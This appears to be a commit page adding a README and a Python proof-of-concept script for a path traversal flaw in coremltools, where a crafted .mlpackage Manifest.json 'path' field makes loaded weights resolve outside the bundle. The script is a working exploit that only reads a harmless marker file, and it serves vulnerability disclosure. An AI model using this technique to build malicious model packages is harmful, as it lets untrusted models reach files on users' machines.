mscgo77 commited on
Commit
aed65cd
·
verified ·
1 Parent(s): 37af534

Upload 2 files

Browse files
Files changed (2) hide show
  1. README.md +12 -0
  2. poc_coreml_path_traversal.py +76 -0
README.md ADDED
@@ -0,0 +1,12 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Core ML Path Traversal PoC
2
+
3
+ Crafted `.mlpackage` with path traversal in Manifest.json `path` field.
4
+
5
+ ## Usage
6
+ ```bash
7
+ pip install coremltools torch
8
+ python poc_coreml_path_traversal.py
9
+ ```
10
+
11
+ ## Root Cause
12
+ `ModelPackage.cpp` line 308/466: `m_packageDataDirPath / path` without canonicalization.
poc_coreml_path_traversal.py ADDED
@@ -0,0 +1,76 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ PoC: Path Traversal in coremltools .mlpackage Manifest.json
3
+ Affected: coremltools 9.0 (all versions with mlpackage support)
4
+ Root cause: ModelPackage.cpp — path field joined without canonicalization
5
+ """
6
+ import os, json, shutil, tempfile
7
+ import coremltools as ct
8
+ import torch
9
+ import numpy as np
10
+
11
+ class SimpleNet(torch.nn.Module):
12
+ def __init__(self):
13
+ super().__init__()
14
+ self.linear = torch.nn.Linear(4, 2)
15
+ def forward(self, x):
16
+ return self.linear(x)
17
+
18
+ # Phase 1: Create legitimate mlpackage
19
+ print("=== Phase 1: Create legitimate model ===")
20
+ model = SimpleNet()
21
+ model.eval()
22
+ traced = torch.jit.trace(model, torch.randn(1, 4))
23
+ ml_model = ct.convert(traced, inputs=[ct.TensorType(shape=(1, 4))])
24
+ legit_path = os.path.join(tempfile.gettempdir(), "legit.mlpackage")
25
+ if os.path.exists(legit_path):
26
+ shutil.rmtree(legit_path)
27
+ ml_model.save(legit_path)
28
+ print(f"[+] Legit model: {legit_path}")
29
+
30
+ # Phase 2: Create external weights directory
31
+ print("\n=== Phase 2: Setup external weights ===")
32
+ evil_weights = tempfile.mkdtemp(prefix="evil_weights_")
33
+ with open(os.path.join(evil_weights, "PROOF.txt"), 'w') as f:
34
+ f.write("THIS_FILE_IS_OUTSIDE_THE_BUNDLE")
35
+ print(f"[+] Evil weights dir: {evil_weights}")
36
+
37
+ # Phase 3: Create malicious mlpackage
38
+ print("\n=== Phase 3: Craft malicious .mlpackage ===")
39
+ evil_pkg = os.path.join(tempfile.gettempdir(), "evil.mlpackage")
40
+ if os.path.exists(evil_pkg):
41
+ shutil.rmtree(evil_pkg)
42
+ shutil.copytree(legit_path, evil_pkg)
43
+
44
+ with open(os.path.join(evil_pkg, "Manifest.json")) as f:
45
+ manifest = json.load(f)
46
+
47
+ data_dir = os.path.join(evil_pkg, "Data")
48
+ traversal = os.path.relpath(evil_weights, data_dir)
49
+
50
+ for uid, entry in manifest["itemInfoEntries"].items():
51
+ if entry["name"] == "weights":
52
+ entry["path"] = traversal
53
+ print(f"[*] Weights path set to: {traversal}")
54
+
55
+ with open(os.path.join(evil_pkg, "Manifest.json"), 'w') as f:
56
+ json.dump(manifest, f, indent=2)
57
+
58
+ # Phase 4: Load and verify
59
+ print("\n=== Phase 4: Load malicious model ===")
60
+ evil_model = ct.models.MLModel(evil_pkg)
61
+ weights_dir = evil_model.weights_dir
62
+ print(f"[+] weights_dir = {weights_dir}")
63
+
64
+ real_w = os.path.realpath(weights_dir)
65
+ real_p = os.path.realpath(evil_pkg)
66
+
67
+ if not real_w.startswith(real_p):
68
+ print(f"\n[!!!] PATH TRAVERSAL CONFIRMED!")
69
+ print(f"[!!!] Bundle: {real_p}")
70
+ print(f"[!!!] weights_dir: {real_w}")
71
+
72
+ marker = os.path.join(weights_dir, "PROOF.txt")
73
+ if os.path.exists(marker):
74
+ print(f"[!!!] External file content: {open(marker).read()}")
75
+
76
+ shutil.rmtree(evil_weights, ignore_errors=True)